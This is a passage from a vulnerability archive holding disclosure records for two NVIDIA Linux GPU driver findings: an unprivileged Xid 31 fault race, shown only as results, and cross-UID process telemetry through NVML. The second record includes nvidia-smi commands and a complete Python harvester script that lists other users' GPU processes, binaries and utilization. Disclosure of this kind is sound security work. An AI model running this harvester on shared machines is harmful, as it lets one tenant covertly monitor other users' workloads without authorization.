name=nvlink_p2p_cycl,\n channel 0x0c00001f, intr 00000000. MMU Fault: ENGINE CE4\nHUBCLIENT_HSCE0 faulted @\n 0x7a77_7dbc6000. Fault is of type FAULT_PDE ACCESS_TYPE_VIRT_READ\n\nNegative control (--inflight 0), approximately 9,000 synchronized cycles:\n\n NONE\n\nMachine-scored verdict for the same positive run:\n\n { \"poc\": \"F5b-Xid31-unprivileged-P2P-disable-race\", \"kind\": \"positive\",\n \"trigger_user\": \"victimuser\", \"physical_gpu_pair\": [\"0\",\"1\"],\n\"inflight\": 1,\n \"xid_seen_during_run\": 1, \"trigger_launch_pids\": [\"6507\"],\n\"xid_line_pids\": [\"6507\"],\n \"verdict\": \"PASS\",\n \"criteria\": { \"fresh_xid31\": true, \"pid_match\": true,\n\"xid154_or_175\": false,\n \"unprivileged_user\": true, \"survived_first_sigkill\": false,\n \"held_gpu_memory\": true, \"ecc_clean_post\": true } }\n\npos-01 launched at 18:33:23 and the Xid landed at 18:33:25 - two seconds.\n\n\nResults\n-------\n\n Run Kind Pair inflight Fresh Xid 31 PID-matched Xid\n154/175 Held GPU mem ECC clean\n ------- --------- ----- --------- ------------- ------------\n------------ ---------------- ---------\n pos-01 positive 0,1 1 yes yes no\n 672+480 MiB yes\n pos-02 positive 0,1 1 yes yes no\n 672+480 MiB yes\n pos-03 positive 0,1 1 yes yes no\n 672+480 MiB yes\n pos-04 positive 0,1 1 yes yes no\n 672+480 MiB yes\n pos-05 positive 0,1 1 yes yes no\n 672+480 MiB yes\n neg-01 negative 0,1 0 no - no\n - yes\n neg-02 negative 0,1 0 no - no\n - yes\n neg-03 negative 0,1 0 no - no\n - yes\n neg-04 negative 0,1 0 no - no\n - yes\n\nPositives 5/5, negatives 4/4. Held GPU memory was recorded numerically\nfor pos-01 (672 MiB on GPU0, 480 MiB on GPU1); the harness recorded it\nas a boolean for pos-02..05. Those numbers are derivable from the\ntrigger\u0027s own allocations - four 64 MiB destination buffers plus a\n~416 MiB CUDA context on the local device, 64 MiB source plus the same\ncontext on the peer - which is what rules out random corruption.\nPost-reset aggregate uncorrectable ECC totals were zero in every run -\na fault, not hardware damage. The trigger process dies on the first\nSIGKILL.\n\nThe fault was also reachable on all six local NVLink pairs, one pass each.\n\n\nThe Unmeasured Question\n-----------------------\n\nWhether the faulted copy-engine / UVM context clears when the process\ndies, or whether the pair stays unusable to a fresh process until a\nprivileged nvidia-smi --gpu-reset, was not measured.\n\nThe harness ran --gpu-reset reflexively immediately after killing the\ntrigger, destroying the evidence for its own most important question.\nThe test node was deprovisioned before the run could be repeated with\na health probe in the gap.\n\nFour indicators, three of them NVIDIA\u0027s own, point toward self-clearing:\n\n - NVIDIA\u0027s Xid"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-276",
"description": "CWE-276",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-362",
"description": "CWE-362",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:52:15Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/78"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/78"
},
{
"url": "https://abhinavagarwal07.github.io"
},
{
"url": "https://arxiv.org/html/2503.11901v3"
},
{
"url": "https://docs.aws.amazon.com/eks/latest/userguide/node-repair.html"
},
{
"url": "https://docs.nvidia.com/cuda/archive/13.2.0/cuda-runtime-api/group__CUDART__PEER.html"
},
{
"url": "https://docs.nvidia.com/cuda/cuda-runtime-api/group__CUDART__PEER.html"
},
{
"url": "https://docs.nvidia.com/datacenter/tesla/fabric-manager-user-guide/index.html"
},
{
"url": "https://docs.nvidia.com/deploy/xid-errors/analyzing-xid-catalog.html"
},
{
"url": "https://docs.nvidia.com/deploy/xid-errors/index.html"
},
{
"url": "https://github.com/NVIDIA/k8s-device-plugin/blob/main/internal/rm/health.go"
},
{
"url": "https://github.com/NVIDIA/open-gpu-kernel-modules/blob/main/kernel-open/nvidia/nv-reg.h"
},
{
"url": "https://github.com/abhinavagarwal07/nvidia-gpu-security-poc"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/78"
],
"discovery": "EXTERNAL"
},
"title": "NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via undocumented peer-teardown ordering, no CVE (vendor: intended)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0083",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/78",
"automated": true,
"contentSha256": "d9b7f5d4e360248ee44af2a3660b4178ae6c8eeb4d85b362cbf49126837f61cf",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/78",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-22T19:43:46Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:21Z",
"dateUpdated": "2026-09-11T11:52:15Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0083"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0082
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:52
VLAI
EPSS
VEX
Title
NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior)
Summary
NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML
============================================================================
On a multi-user Linux GPU host where mutually untrusted users can open
the same /dev/nvidia* devices - the driver's default mode is 0666 - an
unprivileged user can enumerate another user's GPU processes and
per-process GPU telemetry through standard NVML management APIs. NVML
directly returned the foreign PID, the per-process GPU-memory
allocation and the SM utilization; nvidia-smi additionally displayed
the process path, but the corresponding direct
nvmlSystemGetProcessName() call was not captured. Measured on one
configuration: A100, MIG off, bare metal, two local UIDs. No root, no
gpu/video/render group membership, no capabilities, no CUDA context of
the attacker's own, no performance counters, no injected traffic, no
race. The attacker learns, for processes belonging to other users:
PID, per-process GPU memory allocation, per-process SM utilization,
and - via nvidia-smi - the binary path. Read-only workload metadata;
no GPU memory contents are read. NVIDIA reviewed the finding and
determined it is expected behavior.
Affected: NVIDIA Linux GPU driver, NVML management plane
Tested: 595.71.05-open; core channels also reproduced on 565.57.01-open
Hardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off
Platform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9
(driver-reported runtime 13.2)
CWE: CWE-200 (exposure of information to an unauthorized actor),
CWE-862 (missing authorization)
Status: Closed by NVIDIA as expected behavior. No fix. Public
disclosure authorized by NVIDIA PSIRT 2026-08-20.
CVE: none assigned
Ref: Intigriti NVIDIA-W5AB0FZR
Companion: "NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via
undocumented peer-teardown ordering" - same node, same driver, same
0666 precondition
Root Cause
----------
Two independent facts compound.
(a) /dev/nvidia* is mode 0666 by driver default. This is set by the
kernel module, not by a site udev rule.
# grep -E 'ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly'
/proc/driver/nvidia/params
ModifyDeviceFiles: 1
DeviceFileMode: 438
RmProfilingAdminOnly: 1
438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module
rewrites existing device files to match its own defaults, so an
administrator who tightens the mode out-of-band can have it reverted
on module reload. The vendor sources agree: open-gpu-kernel-modules
carries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in
kernel-open/nvidia/nv-reg.h with the comment "The default mode is 0666
(octal, rw-rw-rw-)", and the driver README "Device files" section
documents UID 0 / GID 0 / Mode 0666 as the default, adding "Existing
device files are changed if their attributes don't match these
defaults."
(b) NVML management APIs apply no UID, cgroup, or capability check to
a caller holding that file descriptor. Any opener receives the
node-wide management view.
+------------------+ +-------------------+
| victim uid 1000 | | attacker uid 1011 |
| CUDA workload | | no groups, Cap=0 |
+--------+---------+ +---------+---------+
| |
| open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666)
v v
+-----------------------------------------------------------------------+
| nvidia.ko -> NVML management plane |
| |
| nvmlDeviceGetComputeRunningProcesses() -> ALL pids, ALL uids |
| nvmlDeviceGetProcessUtilization() -> ALL pids, ALL uids |
| ^ |
| +--- no ownership check anywhere on this path|
+-----------------------------------------------------------------------+
NVML already has the concept of privilege-gating this exact call -
just not in ordinary shared-GPU mode. From nvml.h, on both
nvmlDeviceGetComputeRunningProcesses_v3 and
nvmlDeviceGetMPSComputeRunningProcesses_v3:
"In MIG mode, if device handle is provided, the API returns aggregate
information,
only if the caller has appropriate privileges."
So under MIG, process enumeration through the physical-device handle
is privilege-gated. Outside MIG there is no corresponding UID
ownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3
documents NVML_ERROR_NO_PERMISSION in its return list and does not
return it here; nvmlDeviceGetProcessUtilization and
nvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error
at all.
Note RmProfilingAdminOnly: 1 in the same params output. The CUPTI
performance-counter plane IS gated behind CAP_SYS_ADMIN on this exact
node - that gate was added as the fix for CVE-2018-6260. The NVML
per-process management plane received no equivalent gate. That
asymmetry is the finding.
Attacker Prerequisites
----------------------
A shell account on the node. The observer used for all captured runs:
uid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser)
CapInh: 0000000000000000 -> NONE
CapPrm: 0000000000000000 -> NONE
CapEff: 0000000000000000 -> NONE
CapAmb: 0000000000000000 -> NONE
CapBnd: 000001ffffffffff
No sudo. Not in sudo/wheel/admin/docker/video/gpu/render.
No Docker socket. Cannot load kernel modules. Cannot ptrace other
users' processes.
Proof of Concept
----------------
Victim, uid 1000 - any long-running CUDA workload. The captured runs
used nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a
CUDA context works; this needs only pytorch:
python3 -c "import torch,time
x=torch.randn(8192,8192,device='cuda')
while True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)"
Attacker, uid 1011, via the shipped CLI:
nvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory
--format=csv,noheader
nvidia-smi pmon -c 3
nvidia-smi nvlink -gt d
That first command, run by an unprivileged user with no group
membership, is the entire exploit. Everything below is the same read
straight through NVML. Captured output as uid 1011 against the uid
1000 victim:
pid, process_name, used_gpu_memory [MiB], gpu_uuid
77977, /usr/local/bin/all_reduce_perf, 2288 MiB,
GPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278
77977, /usr/local/bin/all_reduce_perf, 2288 MiB,
GPU-fe44d319-939f-d747-de55-6802405cad8d
Full PoC code, harnesses and raw evidence for both findings:
<https://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc&source=gmail&ust=1787513712074000&sa=E>
Straight through NVML with no nvidia-smi involved. This is the complete exploit:
#!/usr/bin/env python3
# unprivileged cross-UID GPU telemetry harvester
# run as any local user: python3 harvest.py
# pip install nvidia-ml-py (provides the `pynvml` module; the standalone
# `pynvml` PyPI package is a deprecated shim as of v12)
import os, pwd, pynvml
def owner(pid):
try: return os.stat("/proc/%d" % pid).st_uid
except: return None
def exe(pid):
# Tries NVML first. NOTE: this direct call was not verified cross-UID here -
# see the note below the output. Falls back to cmdline, never to exe.
try:
n = pynvml.nvmlSystemGetProcessName(pid)
return n.decode() if isinstance(n, bytes) else n
except Exception:
# /proc/<pid>/cmdline is world-readable - this is how ps(1) shows other
# users' command lines. /proc/<pid>/exe is NOT: readlink on it needs
# PTRACE_MODE_READ, which this attacker does not have.
try: return open("/proc/%d/cmdline" % pid,"rb").read().split(b"\0")[0].decode()
except: return "?"
def owner_name(u):
try: return pwd.getpwuid(u).pw_name
except KeyError: return str(u) # no passwd entry: LDAP, containers
pynvml.nvmlInit()
me = os.getuid()
found = 0
for i in range(pynvml.nvmlDeviceGetCount()):
h = pynvml.nvmlDeviceGetHandleByIndex(i)
# cross-UID process table + per-process GPU memory
for p in pynvml.nvmlDeviceGetComputeRunningProcesses(h):
u = owner(p.pid)
if u is not None and u != me:
found += 1
print("[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s" % (
i, p.pid, u, owner_name(u),
(p.usedGpuMemory or 0) >> 20, exe(p.pid)))
# cross-UID per-process SM / memory-controller utilization.
# arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are
# returned, so a small constant drains everything the driver still buffers.
try:
for pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000):
u = owner(pu.pid)
if u is not None and u != me:
print("[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%" % (
i, pu.pid, u, pu.smUtil, pu.memUtil))
except pynvml.NVMLError as e:
# NVML_ERROR_NOT_FOUND here means the driver's sample buffer is empty,
# NOT that the call is gated. Poll for a few seconds and retry.
print(" nvmlDeviceGetProcessUtilization -> %s" % e)
# device-global telemetry, no gate at all
print("[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB" % (
i, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0,
pynvml.nvmlDeviceGetUtilizationRates(h).gpu,
pynvml.nvmlDeviceGetMemoryInfo(h).used >> 20))
if not found:
print("no cross-UID GPU processes visible (is a victim workload running?)")
Output:
[CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB
exe=/usr/local/bin/all_reduce_perf
[CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB
exe=/usr/local/bin/all_reduce_perf
[CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41%
NVML supplies the PID and the GPU memory figure. The binary path came
from nvidia-smi --query-compute-apps=process_name, which is
NVML-backed and returned the full path /usr/local/bin/all_reduce_perf
to the unprivileged observer - that output is captured. The direct
call, nvmlSystemGetProcessName(), is what the PoC above uses and it is
NOT something I captured cross-UID; NVML documents
NVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather
than taking it from me. The captured harness resolved names through
/proc. Note that /proc/<pid>/exe is not readable cross-UID, so if you
fall back to procfs use /proc/<pid>/cmdline, not exe. The only field
procfs is needed for is the owning UID, via stat() on /proc/<pid>.
Polling nvmlDeviceGetProcessUtilization in a loop yields a per-victim
SM utilization time series. What that supports on the evidence here is
busy-versus-idle and job start/stop. Finer structure - step cadence,
phase boundaries - is plausible but was not demonstrated, and I do not
claim it.
Results: 5/5 positive sessions with all seven machine-scored success
criteria passing, and 2/2 negative controls (no victim workload, no
cross-UID records) confirming the signal tracks the victim. For every
compute-app row root could see, the unprivileged observer saw a
matching row - same PID, same binary name, same GPU - in all five
positive sessions. That comparison is field-level (whitespace and row
order normalized, process name compared by basename), not a byte diff.
All channels leak with GPU accounting mode disabled, which is the
fresh default, so this is not a case of an administrator having
enabled accounting.
Telemetry Channels
------------------
Channel NVML API CLI Result
----------------------------- ---------------------------------------
---------------------- --------------------------
Process PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps
LEAKS (redundant with ps)
Binary path nvidia-smi's NVML-backed query --query-compute-apps LEAKS
(captured); direct
(nvmlSystemGetProcessName NOT captured) NVML call unverified
Per-process GPU memory nvmlDeviceGetComputeRunningProcesses
--query-compute-apps LEAKS - GPU-specific
Per-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS
- GPU-specific
NVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink
-gt d LEAKS via CLI - prior art
NVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS
Device power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global)
Impact
------
A low-privileged tenant on a shared HPC or AI node passively monitors
co-tenants in real time: who is running GPU work, which binary, the
GPU memory footprint (a model-size proxy), the SM utilization timeline
(training and idle cadence, step rate, job boundaries), and NVLink
pair activity (distributed job topology).
No computation content is read - no weights, a
Severity
No CVSS data available.
Assigner
References
6 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Linux GPU",
"vendor": "Nvidia",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Abhinav Agarwal"
}
],
"descriptions": [
{
"lang": "en",
"value": "NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML\n============================================================================\n\nOn a multi-user Linux GPU host where mutually untrusted users can open\nthe same /dev/nvidia* devices - the driver\u0027s default mode is 0666 - an\nunprivileged user can enumerate another user\u0027s GPU processes and\nper-process GPU telemetry through standard NVML management APIs. NVML\ndirectly returned the foreign PID, the per-process GPU-memory\nallocation and the SM utilization; nvidia-smi additionally displayed\nthe process path, but the corresponding direct\nnvmlSystemGetProcessName() call was not captured. Measured on one\nconfiguration: A100, MIG off, bare metal, two local UIDs. No root, no\ngpu/video/render group membership, no capabilities, no CUDA context of\nthe attacker\u0027s own, no performance counters, no injected traffic, no\nrace. The attacker learns, for processes belonging to other users:\nPID, per-process GPU memory allocation, per-process SM utilization,\nand - via nvidia-smi - the binary path. Read-only workload metadata;\nno GPU memory contents are read. NVIDIA reviewed the finding and\ndetermined it is expected behavior.\n\nAffected: NVIDIA Linux GPU driver, NVML management plane\nTested: 595.71.05-open; core channels also reproduced on 565.57.01-open\nHardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off\nPlatform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9\n(driver-reported runtime 13.2)\nCWE: CWE-200 (exposure of information to an unauthorized actor),\nCWE-862 (missing authorization)\nStatus: Closed by NVIDIA as expected behavior. No fix. Public\ndisclosure authorized by NVIDIA PSIRT 2026-08-20.\nCVE: none assigned\nRef: Intigriti NVIDIA-W5AB0FZR\nCompanion: \"NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via\nundocumented peer-teardown ordering\" - same node, same driver, same\n0666 precondition\n\n\nRoot Cause\n----------\n\nTwo independent facts compound.\n\n(a) /dev/nvidia* is mode 0666 by driver default. This is set by the\nkernel module, not by a site udev rule.\n\n# grep -E \u0027ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly\u0027\n/proc/driver/nvidia/params\nModifyDeviceFiles: 1\nDeviceFileMode: 438\nRmProfilingAdminOnly: 1\n\n438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module\nrewrites existing device files to match its own defaults, so an\nadministrator who tightens the mode out-of-band can have it reverted\non module reload. The vendor sources agree: open-gpu-kernel-modules\ncarries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in\nkernel-open/nvidia/nv-reg.h with the comment \"The default mode is 0666\n(octal, rw-rw-rw-)\", and the driver README \"Device files\" section\ndocuments UID 0 / GID 0 / Mode 0666 as the default, adding \"Existing\ndevice files are changed if their attributes don\u0027t match these\ndefaults.\"\n\n(b) NVML management APIs apply no UID, cgroup, or capability check to\na caller holding that file descriptor. Any opener receives the\nnode-wide management view.\n\n+------------------+ +-------------------+\n| victim uid 1000 | | attacker uid 1011 |\n| CUDA workload | | no groups, Cap=0 |\n+--------+---------+ +---------+---------+\n| |\n| open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666)\nv v\n+-----------------------------------------------------------------------+\n| nvidia.ko -\u003e NVML management plane |\n| |\n| nvmlDeviceGetComputeRunningProcesses() -\u003e ALL pids, ALL uids |\n| nvmlDeviceGetProcessUtilization() -\u003e ALL pids, ALL uids |\n| ^ |\n| +--- no ownership check anywhere on this path|\n+-----------------------------------------------------------------------+\n\nNVML already has the concept of privilege-gating this exact call -\njust not in ordinary shared-GPU mode. From nvml.h, on both\nnvmlDeviceGetComputeRunningProcesses_v3 and\nnvmlDeviceGetMPSComputeRunningProcesses_v3:\n\n\"In MIG mode, if device handle is provided, the API returns aggregate\ninformation,\nonly if the caller has appropriate privileges.\"\n\nSo under MIG, process enumeration through the physical-device handle\nis privilege-gated. Outside MIG there is no corresponding UID\nownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3\ndocuments NVML_ERROR_NO_PERMISSION in its return list and does not\nreturn it here; nvmlDeviceGetProcessUtilization and\nnvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error\nat all.\n\nNote RmProfilingAdminOnly: 1 in the same params output. The CUPTI\nperformance-counter plane IS gated behind CAP_SYS_ADMIN on this exact\nnode - that gate was added as the fix for CVE-2018-6260. The NVML\nper-process management plane received no equivalent gate. That\nasymmetry is the finding.\n\n\nAttacker Prerequisites\n----------------------\n\nA shell account on the node. The observer used for all captured runs:\n\nuid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser)\n\nCapInh: 0000000000000000 -\u003e NONE\nCapPrm: 0000000000000000 -\u003e NONE\nCapEff: 0000000000000000 -\u003e NONE\nCapAmb: 0000000000000000 -\u003e NONE\nCapBnd: 000001ffffffffff\n\nNo sudo. Not in sudo/wheel/admin/docker/video/gpu/render.\nNo Docker socket. Cannot load kernel modules. Cannot ptrace other\nusers\u0027 processes.\n\n\nProof of Concept\n----------------\n\nVictim, uid 1000 - any long-running CUDA workload. The captured runs\nused nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a\nCUDA context works; this needs only pytorch:\n\npython3 -c \"import torch,time\nx=torch.randn(8192,8192,device=\u0027cuda\u0027)\nwhile True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)\"\n\nAttacker, uid 1011, via the shipped CLI:\n\nnvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory\n--format=csv,noheader\nnvidia-smi pmon -c 3\nnvidia-smi nvlink -gt d\n\nThat first command, run by an unprivileged user with no group\nmembership, is the entire exploit. Everything below is the same read\nstraight through NVML. Captured output as uid 1011 against the uid\n1000 victim:\n\npid, process_name, used_gpu_memory [MiB], gpu_uuid\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-fe44d319-939f-d747-de55-6802405cad8d\n\nFull PoC code, harnesses and raw evidence for both findings:\n\u003chttps://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E\u003e\n\nStraight through NVML with no nvidia-smi involved. This is the complete exploit:\n\n#!/usr/bin/env python3\n# unprivileged cross-UID GPU telemetry harvester\n# run as any local user: python3 harvest.py\n# pip install nvidia-ml-py (provides the `pynvml` module; the standalone\n# `pynvml` PyPI package is a deprecated shim as of v12)\nimport os, pwd, pynvml\n\ndef owner(pid):\ntry: return os.stat(\"/proc/%d\" % pid).st_uid\nexcept: return None\n\ndef exe(pid):\n# Tries NVML first. NOTE: this direct call was not verified cross-UID here -\n# see the note below the output. Falls back to cmdline, never to exe.\ntry:\nn = pynvml.nvmlSystemGetProcessName(pid)\nreturn n.decode() if isinstance(n, bytes) else n\nexcept Exception:\n# /proc/\u003cpid\u003e/cmdline is world-readable - this is how ps(1) shows other\n# users\u0027 command lines. /proc/\u003cpid\u003e/exe is NOT: readlink on it needs\n# PTRACE_MODE_READ, which this attacker does not have.\ntry: return open(\"/proc/%d/cmdline\" % pid,\"rb\").read().split(b\"\\0\")[0].decode()\nexcept: return \"?\"\n\ndef owner_name(u):\ntry: return pwd.getpwuid(u).pw_name\nexcept KeyError: return str(u) # no passwd entry: LDAP, containers\n\npynvml.nvmlInit()\nme = os.getuid()\nfound = 0\nfor i in range(pynvml.nvmlDeviceGetCount()):\nh = pynvml.nvmlDeviceGetHandleByIndex(i)\n\n# cross-UID process table + per-process GPU memory\nfor p in pynvml.nvmlDeviceGetComputeRunningProcesses(h):\nu = owner(p.pid)\nif u is not None and u != me:\nfound += 1\nprint(\"[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s\" % (\ni, p.pid, u, owner_name(u),\n(p.usedGpuMemory or 0) \u003e\u003e 20, exe(p.pid)))\n\n# cross-UID per-process SM / memory-controller utilization.\n# arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are\n# returned, so a small constant drains everything the driver still buffers.\ntry:\nfor pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000):\nu = owner(pu.pid)\nif u is not None and u != me:\nprint(\"[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%\" % (\ni, pu.pid, u, pu.smUtil, pu.memUtil))\nexcept pynvml.NVMLError as e:\n# NVML_ERROR_NOT_FOUND here means the driver\u0027s sample buffer is empty,\n# NOT that the call is gated. Poll for a few seconds and retry.\nprint(\" nvmlDeviceGetProcessUtilization -\u003e %s\" % e)\n\n# device-global telemetry, no gate at all\nprint(\"[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB\" % (\ni, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0,\npynvml.nvmlDeviceGetUtilizationRates(h).gpu,\npynvml.nvmlDeviceGetMemoryInfo(h).used \u003e\u003e 20))\n\nif not found:\nprint(\"no cross-UID GPU processes visible (is a victim workload running?)\")\n\nOutput:\n\n[CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41%\n\nNVML supplies the PID and the GPU memory figure. The binary path came\nfrom nvidia-smi --query-compute-apps=process_name, which is\nNVML-backed and returned the full path /usr/local/bin/all_reduce_perf\nto the unprivileged observer - that output is captured. The direct\ncall, nvmlSystemGetProcessName(), is what the PoC above uses and it is\nNOT something I captured cross-UID; NVML documents\nNVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather\nthan taking it from me. The captured harness resolved names through\n/proc. Note that /proc/\u003cpid\u003e/exe is not readable cross-UID, so if you\nfall back to procfs use /proc/\u003cpid\u003e/cmdline, not exe. The only field\nprocfs is needed for is the owning UID, via stat() on /proc/\u003cpid\u003e.\n\nPolling nvmlDeviceGetProcessUtilization in a loop yields a per-victim\nSM utilization time series. What that supports on the evidence here is\nbusy-versus-idle and job start/stop. Finer structure - step cadence,\nphase boundaries - is plausible but was not demonstrated, and I do not\nclaim it.\n\nResults: 5/5 positive sessions with all seven machine-scored success\ncriteria passing, and 2/2 negative controls (no victim workload, no\ncross-UID records) confirming the signal tracks the victim. For every\ncompute-app row root could see, the unprivileged observer saw a\nmatching row - same PID, same binary name, same GPU - in all five\npositive sessions. That comparison is field-level (whitespace and row\norder normalized, process name compared by basename), not a byte diff.\nAll channels leak with GPU accounting mode disabled, which is the\nfresh default, so this is not a case of an administrator having\nenabled accounting.\n\n\nTelemetry Channels\n------------------\n\nChannel NVML API CLI Result\n----------------------------- ---------------------------------------\n---------------------- --------------------------\nProcess PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps\nLEAKS (redundant with ps)\nBinary path nvidia-smi\u0027s NVML-backed query --query-compute-apps LEAKS\n(captured); direct\n(nvmlSystemGetProcessName NOT captured) NVML call unverified\nPer-process GPU memory nvmlDeviceGetComputeRunningProcesses\n--query-compute-apps LEAKS - GPU-specific\nPer-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS\n- GPU-specific\nNVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink\n-gt d LEAKS via CLI - prior art\nNVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS\nDevice power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global)\n\n\nImpact\n------\n\nA low-privileged tenant on a shared HPC or AI node passively monitors\nco-tenants in real time: who is running GPU work, which binary, the\nGPU memory footprint (a model-size proxy), the SM utilization timeline\n(training and idle cadence, step rate, job boundaries), and NVLink\npair activity (distributed job topology).\n\nNo computation content is read - no weights, a"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-200",
"description": "CWE-200",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-276",
"description": "CWE-276",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-862",
"description": "CWE-862",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:52:12Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/77"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/77"
},
{
"url": "https://github.com/abhinavagarwal07/nvidia-gpu-security-poc"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/77"
],
"discovery": "EXTERNAL"
},
"title": "NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0082",
"x_vulnarchive": {
